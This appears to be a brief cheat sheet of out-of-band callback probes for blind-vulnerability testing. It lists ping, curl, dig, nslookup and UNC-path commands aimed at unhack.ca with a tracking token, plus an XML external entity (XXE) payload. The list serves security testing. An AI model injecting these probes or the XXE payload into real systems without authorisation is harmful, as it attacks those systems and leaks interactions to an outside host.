$ ping -c1 -p 002653ed7e313bb1d5ae5731fad88b00 unhack.ca
 

$ curl http://unhack.ca/p/2653ed7e313bb1d5ae5731fad88b
 

$ dig 2653ed7e313bb1d5ae5731fad88b @unhack.ca
 

$ dig 2653ed7e313bb1d5ae5731fad88b.ns.unhack.ca
 

C:\> nslookup 2653ed7e313bb1d5ae5731fad88b unhack.ca
 

C:\> type \\unhack.ca\2653ed7e313bb1d5ae5731fad88b\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2653ed7e313bb1d5ae5731fad88b">]>
    <foo>&xxe;</foo>